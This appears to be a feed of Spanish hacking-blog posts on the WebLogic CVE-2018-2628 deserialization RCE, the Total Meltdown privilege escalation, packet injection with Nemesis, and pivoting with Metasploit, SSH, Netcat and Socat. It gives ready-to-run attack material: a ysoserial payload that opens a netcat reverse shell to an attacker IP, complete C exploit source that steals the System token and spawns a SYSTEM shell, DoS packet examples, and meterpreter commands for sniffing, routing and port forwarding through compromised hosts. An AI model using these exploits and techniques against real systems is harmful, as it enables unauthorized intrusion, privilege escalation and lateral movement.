    RCE (serialización) en Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3)

    $
    0
    0
    El pasado 17 de abril, Oracle publicó un parche para una vulnerabilidad de serialización crítica (CVE-2018-2628). Dicha vulnerabilidad fue reportada en noviembre del año pasado y permitía la ejecución remota de comandos sin autenticación en los componentes del core de Weblogic server (WLS). Se confirmaron como vulnerables las versiones 10.3.6.0, 12.1.3.0, 12.2.1.2 y 12.2.1.3.

    El punto de entrada para el ataque es la IP del servicio T3, por defecto sobre el puerto 7001. Recordar que el protocolo T3 se usa para transportar datos entre el Servidor WebLogic y otros programas Java, incluidos los clientes y otras instancias de WebLogic. El servicio desempaquetará la estructura del Object y para leerlo realizará una segunda petición a un listener JRMP (Java Remote Method Protocol). En ese momento se enviará de vuelta un payload malicioso (ysoserial.exploit.JRMPListener) que al deserializarlo dará como resultado la ejecución remota de código.

    Para probarlo, vamos a montar un entorno vulnerable. Primero levantamos un Weblogic server (10.3.6.0) en un contenedor docker:
    docker pull zhiqzhao/ubuntu_weblogic1036_domain
    docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

    # docker run -d -p 192.168.1.36:7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
    8e2326f0e6c90c3b4d3072d4a77a745ebe2884235fa58b4be7d56ba855c0a85a

    # docker ps
    CONTAINER ID        IMAGE                                 COMMAND              CREATED             STATUS              PORTS                                   NAMES
    8e2326f0e6c9        zhiqzhao/ubuntu_weblogic1036_domain   "startWebLogic.sh"   27 seconds ago      Up 26 seconds       5556/tcp, 192.168.1.36:7001->7001/tcp   elastic_wright

    # netstat -an | grep 7001
    tcp        0      0 192.168.1.36:7001       0.0.0.0:*               ESCUCHAR
    unix  3      [ ]         FLUJO      CONECTADO     27001    /run/systemd/journal/stdout

    A continuación, levantaremos el JRMPListener de yoserial y especificaremos como payload la conexión netcat contra la máquina del atacante:
    # java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
    * Opening JRMP listener on 1099

    El siguiente paso, lo habéis adivinado, será poner nc a la escucha:
    # nc -nlvp 4040
    listening on [any] 4040 ...

    Para finalmente ejecutar el exploit y obtener la shell reversa:
    python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port]
    python exploit.py
    192.168.1.36 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099

    # nc -nlvp 4040
    listening on [any] 4040 ...
    connect to [127.0.0.1] from (UNKNOWN) [
    192.168.1.36] 57486

    Otro ejemplo, esta vez ejecutando la calculadora a modo de PoC:
    $ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
    0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
    0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
    0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
    ...
    0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
    0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
    0000570: 0078 7071 007e 003a                      .xpq.~.:

    $ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
    $ nc 10.10.10.10 1099 < groovypayload.bin

    $ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

    Fuentes:
    - https://github.com/brianwrf/CVE-2018-2628
    - http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
    - https://github.com/brianwrf/ysoserial
    - http://www.nsfocus.com.cn/content/details_141_2738.html
    - https://paper.tuisec.win/detail/bc41af44c9545f3
    - https://github.com/jas502n/CVE-2018-2628

    Eternal Check: comprueba si tu IP es vulnerable a Eternal Blue, Romance, Synergy y Champion

    $
    0
    0
    Eternal Check verifica si una ip específica es vulnerable a los exploits Eternal Blue, Eternal Romance, Eternal Champion y Eternal Synergy. Eternal Check usa los archivos ejecutables originales del leak de Shadow Brokers para verificar los objetivos, requiere wine de 32 bits instalado (no wine 64). Eternal Check también verifica que los pipes Smb son vulnerables en la máquina objetivo para ser explotados.

    Eternal Check se puede descargar en:

    https://github.com/peterpt/eternal_check

    Requisitos:
    - nmap
    - winbind
    - wine32
    - wget

    Uso:
    - ejemplo 1 : ./echeck
    - ejemplo 2 : ./echeck 192.68.2.56
     

    Referencias sobre las vulnerabilidades:

    Exploit para escalar privilegios en Windows 7 y Server 2008 R2 x64 mediante CVE-2018-1038 - Total Meltdown

    $
    0
    0
    ¿Os acordáis de Meltdown? aplicaciones sin privilegios eran capaces de leer la memoria del kernel debido a una característica integrada en las CPUs... Microsoft la parcheó en enero pero al hacerlo abrió un agujero aún peor permitiendo que cualquier proceso pueda leer el contenido completo de la memoria (a velocidades de gigabytes por segundo), incluso escribir en ella.

    No se necesitan exploits complejos: Microsoft ya hizo el arduo trabajo en Windows 7 x64 y Server 2008 R2 x64 de mapeo en la memoria requerida en cada proceso en ejecución. La explotación es solo una cuestión de leer y escribir en la memoria virtual en proceso ya mapeada. No se requieren API sofisticadas ni llamadas de sistema, ¡solo lectura y escritura estándar!

    El bug radica en que se permite el acceso en user-mode a una entrada (0x1e8) de la tabla de paginado PML4 (Page Map Level 4), una de las cuatro que se utilizan para trasladar direcciones virtuales a físicas. Y aún peor, dicha entrada es usada en Windows 7 y Server 2008 R2 x64 como auto-referenciable (Self-Referencing) lo que significa que cualquier proceso de usuario puede ver y modificar la tabla PML4 y, de forma adyacente, la memoria física. Os recomiendo echar un vistazo al artículo de Adam aka @_xpn_ donde lo explica perfectamente (mis dieses).

    Una de las consecuencias de explotar este fallo es la posibilidad de escalar privilegios, como se puede observar en el siguiente vídeo de demo:


    Para construir el exploit, "sólo" hay que desarrollar los siguientes pasos:

    - Crear un nuevo conjunto de tablas de página que permita acceder a cualquier dirección de memoria física.
    - Crear un conjunto de firmas que puedan usarse para buscar estructuras _EPROCESS en la memoria del kernel.
    - Encontrar la dirección de memoria _EPROCESS para el proceso en ejecución y para el proceso del Sistema.
    - Reemplace el token del proceso en ejecución con el de System, elevando a NT AUTHORITY\System.

    Tenéis el código completo y funcional aquí.
    #include "stdafx.h"

    #define    PML4_BASE    0xFFFFF6FB7DBED000
    #define    PDP_BASE    0xFFFFF6FB7DA00000
    #define    PD_BASE        0xFFFFF6FB40000000
    #define    PT_BASE            0xFFFFF68000000000

    int main()
    {
        printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
        printf("  paging code by @UlfFrisk\n\n");
            printf("  https://blog.xpnsec.com/total-meltdown-cve-2018-1038\n\n");

        unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
        DWORD done;

        // Check for vulnerability
        __try {
            int test = *(unsigned long long *)PML4_BASE;
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            printf("[X] Could not access PML4 address, system likely not vulnerable\n");
            return 2;
        }

        // setup: PDPT @ fixed hi-jacked physical address: 0x10000
        // This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
        // we can hijack.
        for (iPML4 = 256; iPML4 < 512; iPML4++) {
            vaPML4e = PML4_BASE + (iPML4 << 3);
            if (*(unsigned long long *)vaPML4e) { continue; }

            // When we find an entry, we add a pointer to the next table (PDPT), which will be
            // stored at the physical address 0x10000
            *(unsigned long long *)vaPML4e = 0x10067;
            break;
        }
        printf("[*] PML4 Entry Added At Index: %d\n", iPML4);

        // Here, the PDPT table is referenced via a virtual address.
        // For example, if we added our hijacked PML4 entry at index 256, this virtual address
        // would be 0xFFFFF6FB7DA00000 + 0x100000
        // This allows us to reference the physical address 0x10000 as:
        // PML4 Index: 1ed | PDPT Index : 1ed |    PDE Index : 1ed | PT Index : 100
        vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
        printf("[*] PDPT Virtual Address: %p", vaPDPT);

        // 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
        // Below is responsible for adding 31 entries to the PDPT
        for (iPDPT = 0; iPDPT < 31; iPDPT++) {
            *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
        }

        // For each of the PDs, a further 512 PT's are created. This gives access to
        // 512 * 32 * 2mb = 33gb physical memory space
        for (iPDPT = 0; iPDPT < 31; iPDPT++) {
            if ((iPDPT % 3) == 0)
                printf("\n[*] PD Virtual Addresses: ");

            vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
            printf("%p ", vaPD);

            for (iPD = 0; iPD < 512; iPD++) {
                // Below, notice the 0xe7 flags added to each entry.
                // This is used to create a 2mb page rather than the standard 4096 byte page.
                *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
            }
        }

        printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");

        #define EPROCESS_IMAGENAME_OFFSET 0x2e0
        #define EPROCESS_TOKEN_OFFSET 0x208
        #define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base

        unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
        unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
       
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        printf("[*] Hunting for _EPROCESS structures in memory\n");
        for (unsigned long long i = 0x100000; i < 31 * 512 * 2097152; i++) {
            __try {
                // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
                if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
                    if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                        ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                        printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
                    }
                }
                // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
                else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
                    if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                        systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                        printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
                    }
                }

                if (systemEPROCESS != 0 && ourEPROCESS != 0) {
                    // Swap the tokens by copying the pointer to System Token field over our process token
                    printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
                    *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
                    printf("[*] Done, spawning SYSTEM shell...\n\n");

                    CreateProcessA(0,
                        "cmd.exe",
                        NULL,
                        NULL,
                        TRUE,
                        0,
                        NULL,
                        "C:\\windows\\system32",
                        &si,
                        &pi);
                    break;
                }
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                printf("[X] Exception occured, stopping to avoid BSOD\n");
                return 2;
            }
        }
        return 0;
    }

    Por último, Microsoft ha publicado el parche para esta vulnerabilidad, bautizada como CVE-2018-1038, así que toca parchear rápido:

    https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1038

    NEMESIS: una herramienta de inyección de paquetes TCP/IP

    $
    0
    0
    Nemesis es un proyecto que implementa una pila IP, portable (Windows y Linux) y usable desde la línea de comandos. La suite está estructura por protocolo y permite crear scripts sencillos para la inyección de paquetes.

    Características principales

    - Compatibilidad con el protocolo ARP/RARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP, TCP y UDP
    - Inyección de capa 2 o 3 en sistemas tipo UNIX
    - Inyección de capa 2 (solo) en sistemas Windows
    - Payload del paquete desde archivo
    - Opciones de IP y TCP desde archivo
    - Probado en OpenBSD, Linux, Solaris, Mac OS X y Windows 2000

    Cada protocolo compatible utiliza su propio "inyector" de protocolo, que va acompañado de una página man que explica su funcionalidad.

    Ejemplos

    Inyectar un ICMP redirect malformado

    sudo nemesis icmp -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -i 5

    IGMP v2 join para el grupo 239.186.39.5

    sudo nemesis igmp -v -p 22 -S 192.168.1.20 -i 239.186.39.5 -D 239.186.39.5

    Consulta de IGMP v2, tiempo máximo de resp 10 seg, con opción de IP de alerta de router

    echo -ne '\x94\x04\x00\x00'>RA
    sudo nemesis igmp -v -p 0x11 -c 100 -D 224.0.0.1 -O RA


    o

    echo -ne '\x94\x04\x00\x00' | sudo nemesis igmp -v -p 0x11 -c 100 -D 224.0.0.1 -O -

    Consulta de IGMP v3, con la opción IP de alerta de router

    echo -ne '\x03\x64\x00\x00'> v3
    sudo nemesis igmp -p 0x11 -c 100 -i 0.0.0.0 -P v3 -D 224.0.0.1 -O RA

    Paquete TCP aleatorio

    sudo nemesis tcp

    Pruebas DoS y DDoS

    sudo nemesis tcp -v -S 192.168.1.1 -D 192.168.2.2 -fSA -y 22 -P foo
    sudo nemesis udp -v -S 10.11.12.13 -D 10.1.1.2 -x 11111 -y 53 -P bindpkt
    sudo nemesis icmp redirect -S 10.10.10.3 -D 10.10.10.1 -G 10.10.10.3 -qR
    sudo nemesis arp -v -d ne0 -H 0:1:2:3:4:5 -S 10.11.30.5 -D 10.10.15.1


    Build & Install

    Nemesis se basa en libnet. Las compilaciones de plataformas de Windows también requieren libpcap. En sistemas GNU/Linux derivados de Debian y Ubuntu:

    sudo apt install libnet1-dev

    El sistema GNU Configure&Build usa /usr/local como el prefijo de instalación predeterminado. Por lo general, esto es suficiente, el ejemplo siguiente se instala en /usr:

    tar xf nemesis-1.5.tar.xz
    cd nemesis-1.5/
    ./configure --prefix=/usr
    make -j5
    sudo make install-strip


    Proyecto: https://github.com/troglobit/nemesis

    Taller de pivoting: Metasploit

    $
    0
    0
    Hoy vamos a empezar con una serie de entradas relacionadas con el pivoting: el proceso de acceder a redes a las que no tenemos acceso en circunstancias normales mediante el uso de computadoras comprometidas. Como punto de partida necesitaremos tener acceso a una máquina comprometida en la red objetivo, dependiendo de la configuración del equipo de la víctima, es posible que necesitemos o no tener root o privilegios de administrador.

    En este post vamos a suponer que nosotros somos el atacante y hemos conseguido una sesión de meterpreter sobre la máquina de la víctima.

    En una auditoría de caja negra o una intrusión real, lo normal es que no tengamos nada de información del entorno por lo que tendremos que llevar a cabo el descubrimiento y la enumeración inicial. Para ello empezaremos con arp_scanner, un script de meterpreter muy útil para identificar los host vivos dentro de la subred:
    meterpreter > run arp_scanner -r 192.168.2.0/24
    [*] ARP Scanning 192.168.2.0/24
    [*] IP: 192.168.2.1 MAC 64:68:c:45:71:88
    [*] IP: 192.168.2.43 MAC 4c:f:6e:e9:7f:16

    En el caso de que partamos de un equipo Windows, una buena opción es ver las conexiones y los puertos abiertos mediante el módulo de gathering tcp_netstat:
    msf > use post/windows/gather/tcpnetstat
    msf post(tcpnetstat) > sessions
        ...sessions...
    msf post(tcpnetstat) > set SESSION <session-id>
    msf post(tcpnetstat) > show options
        ...show and set options...
    msf post(tcpnetstat) > run

    O si el target inicial es Linux tenemos otro módulo muy completo Linux Gather Network Information que recopila información de red de las reglas de IPTables del sistema de destino, interfaces, información de la red inalámbrica, puertos abiertos y de escucha, conexiones de red activas, información DNS e información SSH.
    use post/linux/gather/enum_network
    msf post(linux/gather/enum_network) > set sessions 5
    sessions => 5
    msf post(linux/gather/enum_network) > exploit

    [-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
    [*] Post module execution completed
    msf post(linux/gather/enum_network) > show options

    Module options (post/linux/gather/enum_network):

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SESSION  1                yes       The session to run this module on.

    msf post(linux/gather/enum_network) > set session 5
    session => 5

    msf post(linux/gather/enum_network) > run

    Para seguir descubriendo información de la red objetivo y ver otras redes adyacentes, puede ser interesante usar un sniffer. Metasploit también incluye un módulo que puede esnifar paquetes del sistema de destino sin escribir en el sistema de archivos o instalar ningún controlador. Además, el módulo excluye automáticamente su propio tráfico de control de la captura de paquetes.
    meterpreter > use sniffer
    Loading extension sniffer...success.

    meterpreter > sniffer_interfaces
    1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true

    meterpreter > sniffer_start 1 300000
    [*] Capture started on interface 1 (300000 packet buffer)

    meterpreter > sniffer_stats 1
    [*] Capture statistics for interface 1
            bytes: 17675
            packets: 196

    meterpreter > sniffer_dump 1 /tmp/capture.cap
    [*] Dumping packets from interface 1...
    [*] Wrote 536 packets to PCAP file /tmp/capture.cap

    meterpreter > sniffer_stop 1
    [*] Capture stopped on interface 1

    Y, cómo no, la opción más clásica de descubrimiento de sistemas en el mismo rango de red es el típico escáner de puertos, para lo que Metasploit dispone de un módulo auxiliar con cinco escáneres diferentes para detectar las máquinas presentes y los servicios que corren:
    • ack – ACK Firewall Scanner
    • ftpbounce – Bounce Port Scanner
    • syn – SYN Port Scanner
    • tcp – Port Scanner
    • xmas  – “Xmas” Port Scanner
    msf exploit(handler) > use auxiliary/scanner/portscan/tcp 
    msf auxiliary(tcp) > set RHOSTS 192.168.2.43
    RHOSTS => 192.168.2.43
    msf auxiliary(tcp) > set PORTS 1-1024
    PORTS => 1-1024
    msf auxiliary(tcp) > run

    Ahora bien, si queremos escanear desde Metasploit los servicios pertenecientes a otras máquinas fuera del segmento de red de la máquina comprometida, tendremos que añadir previamente las rutas correspondientes:
    meterpreter > route add 192.168.33.0/24 5
    [*] Route added
    meterpreter > route print

    IPv4 Active Routing Table
    =========================

       Subnet             Netmask            Gateway
       ------             -------            -------
       192.168.33.0         255.255.255.0      Session 5

    [*] There are currently no IPv6 routes defined.

    Adicionalmente disponemos de autoroute automatiza la adicción de las rutas asociadas con la sesión Meterpreter especificada a la tabla de enrutamiento de Metasploit.

    meterpreter > run autoroute -s 192.168.33.0/24

    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    [*] Adding a route to 192.168.33.0/255.255.255.0...
    [+] Added route to 192.168.33.0/255.255.255.0 via 10.10.10.65
    [*] Use the -p option to list all active routes
    meterpreter > run autoroute -p

    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]

    Active Routing Table
    ====================

       Subnet             Netmask            Gateway
       ------             -------            -------
       192.168.33.0         255.255.255.0      Session 5

    Luego para que otras aplicaciones tengan acceso a las rutas, se necesita un poco más de configuración. Esto implica la configuración del módulo de proxy Socks4a de Metasploit y el uso de Proxychains junto con las otras aplicaciones.
    use auxiliary/server/socks4a
    set SRVHOST 127.0.0.1
    set LPORT 1080
    exploit -j

    El fichero de configuración de Proxychains está localizado por defectp en /etc/proxychains.conf:
    socks4 127.0.0.1 1080

    Ahora podemos combinar Proxychains con otras aplicaciones como Nmap, Nessus, Firefox y otras para escanear o acceder a máquinas y recursos a través de las rutas Metasploit.
    $ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24

    A veces no obtenemos buenos resultados con algunos programas y proxychains. Para estos casos, podemos reenviar los puertos de una determinada máquina a nuestro ordenador. Al ejecutar portfwd en un host comprometido con acceso tanto al atacante como a la red (o sistema) de destino, podemos básicamente reenviar conexiones TCP a través de esta máquina.
    msf > sessions -i 1
    meterpreter > portfwd add -l 8000 -p 80 -r 192.168.15.1
    [*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:80
    meterpreter > portfwd add -l 8010 -p 80 -r 192.168.15.5
    meterpreter > portfwd add -l 25000 -p 22 -r 192.168.15.2
    [*] Local TCP relay created: 0.0.0.0:25000 <-> 192.168.15.2:22

    Ahora, abrimos un navegador local y podemos acceder a localhost con la siguiente URL:

    http://127.0.0.1:8000

    Y hasta aquí esta primera entrada de pivoting mediante Metasploit. En las siguientes entradas veremos más técnicas y herramientas para pivotar y poder así conseguir movimiento lateral y avanzar en intrusiones.

    Taller de pivoting: túneles SSH

    $
    0
    0
    SSH tiene un montón de opciones (os recomiendo echar un vistazo a su página de man) y una de las más interesantes es que un cliente SSH también permite "tunelizar" un puerto o una conexión entre el sistema local del atacante y el servidor SSH remoto. Hay tres tipos diferentes de túneles SSH: reenvío de puertos local, remoto o dinámico.

    Local port forwarding

    El "reenvío de puertos local permite acceder a los recursos de la red local que no están expuestos desde el exterior (ya sea Internet, otra red externa o incluso para el acceso a servicios que están restringidos y accesibles solo desde el host local).


    Por ejemplo, imaginad que queremos acceder al servicio RDP del servidor de la víctima. Para ello levantaremos un puerto local en la máquina del atacante que tunelizará directamente con el del servidor:

    ssh -L local_port:remote_address:remote_port username@server.com
    ssh -L 3389:192.168.2.3:3389 user@192.168.2.3


    De esta manera, podremos establecer una sesión de escritorio remoto simplemente lanzando nuestro cliente así:

    rdesktop 127.0.0.1

    Aunque bueno... si estamos hablando de RDP se trata de Windows y sería bastante "exótico" que corriera un servidor SSH... así que si hemos comprometido previamente el servidor mediante cualquier otra vulnerabilidad podemos subir el binario plink.exe (la versión de consola de putty) y ejecutar:

    plink.exe -i clave.ppk -L *:3389:localhost:3389 user@192.168.2.3
    Otras opciones interesantes a tener en cuenta son:

    -g : permite que otros clientes de la LAN puedan conectarse al puerto de la máquina del atacante. Por defecto, solo se permite en local.

    -f : pone en background el proceso una vez que se haya establecido con éxito la sesión SSH. Muy util para que el puerto permanezca activo aún cuando se cierre la sesión interactiva.

    Dynamic port forwarding

    El "reenvío de puertos dinámico" funciona de manera similar a un proxy, de hecho, el cliente SSH creará un proxy SOCKS que se puede configurar en las aplicaciones para usarse. Es similar al reenvío local, pero
    en lugar de a un sólo puerto, TODO el tráfico enviado a través del proxy será enviado a su vez a través del servidor SSH.


    Para usar el reenvío dinámico tendremos que usar el argumento -D:

    ssh -D local_port username@server.com
    ssh -D 127.0.0.1:9050 root@192.168.2.2


    A partir de ese momento tendremos escuchando en la máquina del atacante un proxy SOCKS en el puerto 9050 y podemos usar cualquier programa (un navegador por ejemplo) para que lo utilice. Sin embargo, si el programa no soporta configurar proxy podremos aún forzarlo mediante proxychains. Para ello bastará configurar el fichero /etc/proxychains.conf añadiendo la línea: "socks4  127.0.0.1 9050" y luego poniendo delante "proxychains" cuando usemos la herramienta que necesitemos:

    proxychains rdesktop 192.168.2.3

    Remote port forwarding

    El "reenvío de puertos remoto" también llamado reverso o inverso, es lo contrario al local. Es decir, se utiliza para hacer accesible un puerto del servidor del atacante desde el servidor comprometido.
    Veamos también su sintaxis y uso:

    ssh -R remote_port:local_address:local_port username@server.com
    ssh -R 8888:192.168.2.33:1234 bob@ssh.youroffice.com


    Con el comando anterior, cuando alguien acceda al puerto 8888 del servidor remoto estará siendo redirigido realmente al puerto 1234 de la máquina del atacante.

    Sin embargo, para que esto funcione tendremos que añadir la línea "GatewayPorts yes" en el fichero de configuración /etc/ssh/sshd_config.

    Bonus: VPN sobre SSH

    Desde la versión 4.3 de openssh, es posible tunelizar el tráfico de red de la capa 3 a través de un canal ssh establecido. Esto tiene una ventaja sobre un túnel típico de tcp porque tenemos el control del tráfico IP. De esta manera por ejemplo podemos realizar un SYN-scan con nmap y usar sus herramientas directamente sin recurrir a proxychains u otras herramientas de proxificación.

    Esta VPN se realiza a través de la creación de dispositivos tun en el lado del cliente y del servidor y la transferencia de datos entre ellos a través de la conexión ssh. Esto es bastante simple, pero se necesita root en ambas máquinas ya que la creación de dispositivos tun es una operación privilegiada.

    Estas líneas deben estar presentes en su archivo /etc/ssh/sshd_config (en el lado del servidor):

    PermitRootLogin yes
    PermitTunnel yes


    El siguiente comando en el cliente creará un par de dispositivos tun en el cliente y el servidor:

    ssh username@server -w any:any

    Con el parámetro -w establecemos el túnel entre los dispositivos especificados. Si ponemos "any" como en el ejemplo el sistema cogerá el primer interfaz tun disponible.
    Un vez creado el túnel procederemos a configurar los interfaces tun.

    En el cliente:

    ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

    En el servidor:

    ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

    Y tendremos que configurar el reenvío IP y el NAT en el servidor:

    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE


    Ahora podemos hacer que el peer 1.1.1.1 sea la puerta de enlace predeterminada o enrutar un host o una red específicas a través de él:

    route add -net 10.0.0.0/16 gw 1.1.1.1

    En el ejemplo, la interfaz de red externa del servidor es eth0 y los dispositivos tun creados recientemente en ambos lados son tun0.

    Truco del día

    Seguramente os habréis dado cuenta que cada vez que creamos un túnel con SSH también obtenemos una shell. Esto no suele ser necesario cuando solo intentamos crear un túnel. Para evitar esto, podemos ejecutar SSH con los parámetros -nNT, como el siguiente ejemplo, lo que hará que SSH no asigne un tty y solo reenvíe los puertos.

    $ ssh -nNT -L 9000: imgur.com: 80 user@example.com

    -N : esta opción es la que indica que no se abra la shell, solo reenvío de puertos.

    -n : se utiliza cuando ssh se ejecuta en background y previene que se lea de stdin.

    -t : desactiva pseudo-tty

    Fuentes:

    - A Red Teamer's guide to pivoting
    - SSH Tunnel - Local and Remote Port Forwarding Explained With Examples
    - The Black Magic Of SSH / SSH Can Do That?
    - How to Use SSH Tunneling to Access Restricted Servers and Browse Securely

    Reto 24: la taberna del "Patito Modosito"

    $
    0
    0
    Esta vez os traemos un reto de Hackers4Fun CTF Team, un grupo que nace en el IES Francico Umbral de Ciempozuelos (Madrid) y que lleva un tiempo publicando pequeños retos muy entretenidos que sirven como entrenamiento perfecto para CTFs. En esta ocasión se trata de esteganografía por lo que tendremos que descubrir el mensaje que oculta la siguiente imagen de la entrada a la taberna del "Patito Modosito":


    Para analizar la imagen debéis descargarla del enlace original y, una vez resuelto, mandar la flag por DM a la cuenta de Twitter https://www.twitter.com/Hackers4F.

    Como hint deciros que el reto trata de princesas 👸 que nos desvelarán un buen consejo👍

    Una vez que Hackers4F cierre el reto, publicaremos también el writeup y pondremos a los primeros acertantes en nuestra página. Así que animaros y a ver si sois capaces de ver que se esconde en la imagen ;)

    Taller de pivoting: Netcat y Socat

    $
    0
    0
    No podía faltar entre estas entradas de pivoting una dedicada a Netcat, la navaja suiza de TCP/IP, y su homólogo "con esteroides" Socat.

    Netcat

    Empecemos con Netcat que, aunque puede hacer muchas cosas, tiene como objetivo y función principales:

    - Crear un socket inicial para establecer una conexión desde el servidor al cliente.
    - Una vez conectado, generar automáticamente un segundo socket para transmitir archivos desde el servidor al cliente y viceversa (realmente esa es la parte sexy)

    Y volvemos al escenario típico de pivoting, en el que el atacante compromete un equipo que tiene acceso a través del firewall a otro servidor que también queremos atacar:

    En la máquina del atacante configuraremos un relay listener-to-listener usando el siguiente comando:




    # ncat -lv --broker -m2 10000
    Ncat: Version 6.01 ( http://nmap.org/ncat )
    Ncat: Listening on :::10000
    Ncat: Listening on 0.0.0.0:10000

    En este momento, tendremos levantado el puerto 10000 en nuestra máquina. Luego, en el servidor comprometido ejecutaremos el siguiente comando:

    $ ncat -v 192.168.2.42 10000 -c "ncat -v 192.168.33.15 20000"
    Ncat: Version 5.51 ( http://nmap.org/ncat )
    Ncat: Connected to 192.168.2.42:10000.
    Ncat: Version 5.51 ( http://nmap.org/ncat )
    Ncat: Connected to 192.168.33.15:20000.

    Ojo porque esa comando es para la versión netcat-traditional. En Ubuntu y en muchas distros de Linux encontraremos por defecto la versión netcat-openbsd. Si queremos la tradicional tendremos que instalarla específicamente y seleccionarla con update-alternatives:

    sudo apt-get install netcat-traditional
    sudo update-alternatives --config nc

    O si deseas utilizar la versión openbsd también podrás hacer la redirección por medio de una tubería fifo:

    mkfifo backpipe
    nc -l 12345 0<backpipe | nc www.google.com 80 1>backpipe

    Una alternativa que funciona en bash en OS X es usar una tubería o pipe bidireccional. Puede funcionar en otros sistemas Unix:

    nc 127.0.0.1 8000 <&1 | nc -l 8001 >&0

    Después podremos ejecutar en la máquina del atacante:

    # ./exploit.py 127.0.0.1 10000
    [+] sending payload of length 1479


    Socat

    Ahora continuaremos con Socat, una utilidad similar a Netcat que funciona a través de una serie de protocolos y de archivos, tuberías, dispositivos (terminales o módems, etc.), conectores (Unix, IP4, IP6 - raw, UDP, TCP), un cliente para SOCKS4 , proxy CONNECT o SSL, etc. Proporciona forking, logging y dumping, diferentes modos de comunicación entre procesos y muchas más opciones.

    Empezaremos haciendo un simple túnel para el reenvío de un puerto:

    socat TCP4-LISTEN:10000,reuseaddr,fork TCP4:192.168.33.15:20000

    La opción reuseaddr permite que otros sockets se vinculen a una dirección incluso si socat ya la usa (por ejemplo, el puerto local). Con la opción fork después de establecer una conexión, lleva su canal a un proceso secundario y mantiene el proceso principal intentando producir más conexiones, ya sea escuchando o conectando en un loop.

    Luego si tenemos un proxy delante podemos "indicar" a socat que lo utilice, incluso con las crendenciales correspondientes si ya las tenemos:

    socat TCP4-LISTEN:10000,reuseaddr,fork  PROXY:servidor_proxy:192.168.33.15:20000, proxyport=3128, proxyauth=user:pass

    Con el siguiente comando configuraremos un sencillo reenviador de puertos TCP. Con TCP4-LISTEN escuchamos en el puerto local "www" hasta que llegue una conexión y se acepte.
     
